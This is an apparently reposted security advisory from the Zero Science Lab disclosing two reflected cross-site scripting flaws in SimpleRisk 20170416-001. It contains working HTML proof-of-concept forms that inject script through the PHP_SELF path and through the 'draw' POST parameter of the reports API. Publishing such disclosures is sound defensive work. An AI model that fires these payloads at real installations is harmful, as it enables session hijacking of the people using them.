SimpleRisk 20170416-001 Cross Site Scripting

2017-06-22T00:00:00
ID PACKETSTORM:143104
Type packetstorm
Reporter LiquidWorm
Modified 2017-06-22T00:00:00

Description

                                        
                                            `<!--  
  
SimpleRisk v20170416-001 Reflected XSS Vulnerabilities  
  
  
Vendor: SimpleRisk, LLC  
Product web page: https://www.simplerisk.com  
Affected version: 20170416-001  
20170108-001  
20170102-001  
  
Summary: SimpleRisk is an open-source risk management system released  
under Mozilla Public License and used for risk management activities.  
It enables risk managers to account for risks, plan mitigation measures,  
facilitate management reviews, prioritize for project planning, and track  
periodic reviews.  
  
Desc: SimpleRisk suffers from two reflected cross-site scripting vulnerabilities  
when input passed via 'draw' POST parameter and the 'PHP_SELF' variable is not  
properly sanitized before being returned to the user. This can be exploited to  
execute arbitrary HTML and script code in a user's browser session in context of  
an affected site.  
  
Tested on: PHP/5.5.9-1ubuntu4.20  
Apache/2.4.7 (Ubuntu)  
MySQL 14.14 (Distrib 5.5.53 for debian-linux-gnu)  
Ubuntu 14.04.5 LTS  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5414  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5414.php  
  
  
05.06.2017  
  
-->  
  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://192.168.1.72/management/plan_mitigations.php/'><script>alert(1)</script>">  
<input type="hidden" name="currentpage" value="/ZSL" />  
<input type="submit" value="XSS #1" />  
</form>  
</body>  
</html>  
  
=====  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://192.168.1.72/api/reports/dynamic" method="POST">  
<input type="hidden" name="draw" value="<img src=a onerror=alert('XSS-251')>ZSL XSSed" />  
<input type="hidden" name="columns[0][data]" value="0" />  
<input type="hidden" name="columns[0][name]" value="id" />  
<input type="hidden" name="columns[0][searchable]" value="true" />  
<input type="hidden" name="columns[0][orderable]" value="false" />  
<input type="hidden" name="columns[0][search][value]" value="" />  
<input type="hidden" name="columns[0][search][regex]" value="false" />  
<input type="hidden" name="columns[1][data]" value="1" />  
<input type="hidden" name="columns[1][name]" value="risk_status" />  
<input type="hidden" name="columns[1][searchable]" value="true" />  
<input type="hidden" name="columns[1][orderable]" value="false" />  
<input type="hidden" name="columns[1][search][value]" value="" />  
<input type="hidden" name="columns[1][search][regex]" value="false" />  
<input type="hidden" name="columns[2][data]" value="2" />  
<input type="hidden" name="columns[2][name]" value="subject" />  
<input type="hidden" name="columns[2][searchable]" value="true" />  
<input type="hidden" name="columns[2][orderable]" value="false" />  
<input type="hidden" name="columns[2][search][value]" value="" />  
<input type="hidden" name="columns[2][search][regex]" value="false" />  
<input type="hidden" name="columns[3][data]" value="3" />  
<input type="hidden" name="columns[3][name]" value="reference_id" />  
<input type="hidden" name="columns[3][searchable]" value="true" />  
<input type="hidden" name="columns[3][orderable]" value="false" />  
<input type="hidden" name="columns[3][search][value]" value="" />  
<input type="hidden" name="columns[3][search][regex]" value="false" />  
<input type="hidden" name="columns[4][data]" value="4" />  
<input type="hidden" name="columns[4][name]" value="regulation" />  
<input type="hidden" name="columns[4][searchable]" value="true" />  
<input type="hidden" name="columns[4][orderable]" value="false" />  
<input type="hidden" name="columns[4][search][value]" value="" />  
<input type="hidden" name="columns[4][search][regex]" value="false" />  
<input type="hidden" name="columns[5][data]" value="5" />  
<input type="hidden" name="columns[5][name]" value="control_number" />  
<input type="hidden" name="columns[5][searchable]" value="true" />  
<input type="hidden" name="columns[5][orderable]" value="false" />  
<input type="hidden" name="columns[5][search][value]" value="" />  
<input type="hidden" name="columns[5][search][regex]" value="false" />  
<input type="hidden" name="columns[6][data]" value="6" />  
<input type="hidden" name="columns[6][name]" value="location" />  
<input type="hidden" name="columns[6][searchable]" value="true" />  
<input type="hidden" name="columns[6][orderable]" value="false" />  
<input type="hidden" name="columns[6][search][value]" value="" />  
<input type="hidden" name="columns[6][search][regex]" value="false" />  
<input type="hidden" name="columns[7][data]" value="7" />  
<input type="hidden" name="columns[7][name]" value="source" />  
<input type="hidden" name="columns[7][searchable]" value="true" />  
<input type="hidden" name="columns[7][orderable]" value="false" />  
<input type="hidden" name="columns[7][search][value]" value="" />  
<input type="hidden" name="columns[7][search][regex]" value="false" />  
<input type="hidden" name="columns[8][data]" value="8" />  
<input type="hidden" name="columns[8][name]" value="category" />  
<input type="hidden" name="columns[8][searchable]" value="true" />  
<input type="hidden" name="columns[8][orderable]" value="false" />  
<input type="hidden" name="columns[8][search][value]" value="" />  
<input type="hidden" name="columns[8][search][regex]" value="false" />  
<input type="hidden" name="columns[9][data]" value="9" />  
<input type="hidden" name="columns[9][name]" value="team" />  
<input type="hidden" name="columns[9][searchable]" value="true" />  
<input type="hidden" name="columns[9][orderable]" value="false" />  
<input type="hidden" name="columns[9][search][value]" value="" />  
<input type="hidden" name="columns[9][search][regex]" value="false" />  
<input type="hidden" name="columns[10][data]" value="10" />  
<input type="hidden" name="columns[10][name]" value="technology" />  
<input type="hidden" name="columns[10][searchable]" value="true" />  
<input type="hidden" name="columns[10][orderable]" value="false" />  
<input type="hidden" name="columns[10][search][value]" value="" />  
<input type="hidden" name="columns[10][search][regex]" value="false" />  
<input type="hidden" name="columns[11][data]" value="11" />  
<input type="hidden" name="columns[11][name]" value="owner" />  
<input type="hidden" name="columns[11][searchable]" value="true" />  
<input type="hidden" name="columns[11][orderable]" value="false" />  
<input type="hidden" name="columns[11][search][value]" value="" />  
<input type="hidden" name="columns[11][search][regex]" value="false" />  
<input type="hidden" name="columns[12][data]" value="12" />  
<input type="hidden" name="columns[12][name]" value="manager" />  
<input type="hidden" name="columns[12][searchable]" value="true" />  
<input type="hidden" name="columns[12][orderable]" value="false" />  
<input type="hidden" name="columns[12][search][value]" value="" />  
<input type="hidden" name="columns[12][search][regex]" value="false" />  
<input type="hidden" name="columns[13][data]" value="13" />  
<input type="hidden" name="columns[13][name]" value="submitted_by" />  
<input type="hidden" name="columns[13][searchable]" value="true" />  
<input type="hidden" name="columns[13][orderable]" value="false" />  
<input type="hidden" name="columns[13][search][value]" value="" />  
<input type="hidden" name="columns[13][search][regex]" value="false" />  
<input type="hidden" name="columns[14][data]" value="14" />  
<input type="hidden" name="columns[14][name]" value="scoring_method" />  
<input type="hidden" name="columns[14][searchable]" value="true" />  
<input type="hidden" name="columns[14][orderable]" value="false" />  
<input type="hidden" name="columns[14][search][value]" value="" />  
<input type="hidden" name="columns[14][search][regex]" value="false" />  
<input type="hidden" name="columns[15][data]" value="15" />  
<input type="hidden" name="columns[15][name]" value="calculated_risk" />  
<input type="hidden" name="columns[15][searchable]" value="true" />  
<input type="hidden" name="columns[15][orderable]" value="false" />  
<input type="hidden" name="columns[15][search][value]" value="" />  
<input type="hidden" name="columns[15][search][regex]" value="false" />  
<input type="hidden" name="columns[16][data]" value="16" />  
<input type="hidden" name="columns[16][name]" value="submission_date" />  
<input type="hidden" name="columns[16][searchable]" value="true" />  
<input type="hidden" name="columns[16][orderable]" value="false" />  
<input type="hidden" name="columns[16][search][value]" value="" />  
<input type="hidden" name="columns[16][search][regex]" value="false" />  
<input type="hidden" name="columns[17][data]" value="17" />  
<input type="hidden" name="columns[17][name]" value="review_date" />  
<input type="hidden" name="columns[17][searchable]" value="true" />  
<input type="hidden" name="columns[17][orderable]" value="false" />  
<input type="hidden" name="columns[17][search][value]" value="" />  
<input type="hidden" name="columns[17][search][regex]" value="false" />  
<input type="hidden" name="columns[18][data]" value="18" />  
<input type="hidden" name="columns[18][name]" value="project" />  
<input type="hidden" name="columns[18][searchable]" value="true" />  
<input type="hidden" name="columns[18][orderable]" value="false" />  
<input type="hidden" name="columns[18][search][value]" value="" />  
<input type="hidden" name="columns[18][search][regex]" value="false" />  
<input type="hidden" name="columns[19][data]" value="19" />  
<input type="hidden" name="columns[19][name]" value="mitigation_planned" />  
<input type="hidden" name="columns[19][searchable]" value="true" />  
<input type="hidden" name="columns[19][orderable]" value="false" />  
<input type="hidden" name="columns[19][search][value]" value="" />  
<input type="hidden" name="columns[19][search][regex]" value="false" />  
<input type="hidden" name="columns[20][data]" value="20" />  
<input type="hidden" name="columns[20][name]" value="management_review" />  
<input type="hidden" name="columns[20][searchable]" value="true" />  
<input type="hidden" name="columns[20][orderable]" value="false" />  
<input type="hidden" name="columns[20][search][value]" value="" />  
<input type="hidden" name="columns[20][search][regex]" value="false" />  
<input type="hidden" name="columns[21][data]" value="21" />  
<input type="hidden" name="columns[21][name]" value="days_open" />  
<input type="hidden" name="columns[21][searchable]" value="true" />  
<input type="hidden" name="columns[21][orderable]" value="false" />  
<input type="hidden" name="columns[21][search][value]" value="" />  
<input type="hidden" name="columns[21][search][regex]" value="false" />  
<input type="hidden" name="columns[22][data]" value="22" />  
<input type="hidden" name="columns[22][name]" value="next_review_date" />  
<input type="hidden" name="columns[22][searchable]" value="true" />  
<input type="hidden" name="columns[22][orderable]" value="false" />  
<input type="hidden" name="columns[22][search][value]" value="" />  
<input type="hidden" name="columns[22][search][regex]" value="false" />  
<input type="hidden" name="columns[23][data]" value="23" />  
<input type="hidden" name="columns[23][name]" value="next_step" />  
<input type="hidden" name="columns[23][searchable]" value="true" />  
<input type="hidden" name="columns[23][orderable]" value="false" />  
<input type="hidden" name="columns[23][search][value]" value="" />  
<input type="hidden" name="columns[23][search][regex]" value="false" />  
<input type="hidden" name="columns[24][data]" value="24" />  
<input type="hidden" name="columns[24][name]" value="affected_assets" />  
<input type="hidden" name="columns[24][searchable]" value="true" />  
<input type="hidden" name="columns[24][orderable]" value="false" />  
<input type="hidden" name="columns[24][search][value]" value="" />  
<input type="hidden" name="columns[24][search][regex]" value="false" />  
<input type="hidden" name="columns[25][data]" value="25" />  
<input type="hidden" name="columns[25][name]" value="risk_assessment" />  
<input type="hidden" name="columns[25][searchable]" value="true" />  
<input type="hidden" name="columns[25][orderable]" value="false" />  
<input type="hidden" name="columns[25][search][value]" value="" />  
<input type="hidden" name="columns[25][search][regex]" value="false" />  
<input type="hidden" name="columns[26][data]" value="26" />  
<input type="hidden" name="columns[26][name]" value="additional_notes" />  
<input type="hidden" name="columns[26][searchable]" value="true" />  
<input type="hidden" name="columns[26][orderable]" value="false" />  
<input type="hidden" name="columns[26][search][value]" value="" />  
<input type="hidden" name="columns[26][search][regex]" value="false" />  
<input type="hidden" name="columns[27][data]" value="27" />  
<input type="hidden" name="columns[27][name]" value="current_solution" />  
<input type="hidden" name="columns[27][searchable]" value="true" />  
<input type="hidden" name="columns[27][orderable]" value="false" />  
<input type="hidden" name="columns[27][search][value]" value="" />  
<input type="hidden" name="columns[27][search][regex]" value="false" />  
<input type="hidden" name="columns[28][data]" value="28" />  
<input type="hidden" name="columns[28][name]" value="security_recommendations" />  
<input type="hidden" name="columns[28][searchable]" value="true" />  
<input type="hidden" name="columns[28][orderable]" value="false" />  
<input type="hidden" name="columns[28][search][value]" value="" />  
<input type="hidden" name="columns[28][search][regex]" value="false" />  
<input type="hidden" name="columns[29][data]" value="29" />  
<input type="hidden" name="columns[29][name]" value="security_requirements" />  
<input type="hidden" name="columns[29][searchable]" value="true" />  
<input type="hidden" name="columns[29][orderable]" value="false" />  
<input type="hidden" name="columns[29][search][value]" value="" />  
<input type="hidden" name="columns[29][search][regex]" value="false" />  
<input type="hidden" name="columns[30][data]" value="30" />  
<input type="hidden" name="columns[30][name]" value="planning_strategy" />  
<input type="hidden" name="columns[30][searchable]" value="true" />  
<input type="hidden" name="columns[30][orderable]" value="false" />  
<input type="hidden" name="columns[30][search][value]" value="" />  
<input type="hidden" name="columns[30][search][regex]" value="false" />  
<input type="hidden" name="columns[31][data]" value="31" />  
<input type="hidden" name="columns[31][name]" value="mitigation_effort" />  
<input type="hidden" name="columns[31][searchable]" value="true" />  
<input type="hidden" name="columns[31][orderable]" value="false" />  
<input type="hidden" name="columns[31][search][value]" value="" />  
<input type="hidden" name="columns[31][search][regex]" value="false" />  
<input type="hidden" name="columns[32][data]" value="32" />  
<input type="hidden" name="columns[32][name]" value="mitigation_cost" />  
<input type="hidden" name="columns[32][searchable]" value="true" />  
<input type="hidden" name="columns[32][orderable]" value="false" />  
<input type="hidden" name="columns[32][search][value]" value="" />  
<input type="hidden" name="columns[32][search][regex]" value="false" />  
<input type="hidden" name="columns[33][data]" value="33" />  
<input type="hidden" name="columns[33][name]" value="mitigation_owner" />  
<input type="hidden" name="columns[33][searchable]" value="true" />  
<input type="hidden" name="columns[33][orderable]" value="false" />  
<input type="hidden" name="columns[33][search][value]" value="" />  
<input type="hidden" name="columns[33][search][regex]" value="false" />  
<input type="hidden" name="columns[34][data]" value="34" />  
<input type="hidden" name="columns[34][name]" value="mitigation_team" />  
<input type="hidden" name="columns[34][searchable]" value="true" />  
<input type="hidden" name="columns[34][orderable]" value="false" />  
<input type="hidden" name="columns[34][search][value]" value="" />  
<input type="hidden" name="columns[34][search][regex]" value="false" />  
<input type="hidden" name="start" value="0" />  
<input type="hidden" name="length" value="10" />  
<input type="hidden" name="search[value]" value="" />  
<input type="hidden" name="search[regex]" value="false" />  
<input type="hidden" name="status" value="0" />  
<input type="hidden" name="group" value="0" />  
<input type="hidden" name="sort" value="0" />  
<input type="hidden" name="group_value" value="" />  
<input type="submit" value="XSS #2" />  
</form>  
</body>  
</html>  
`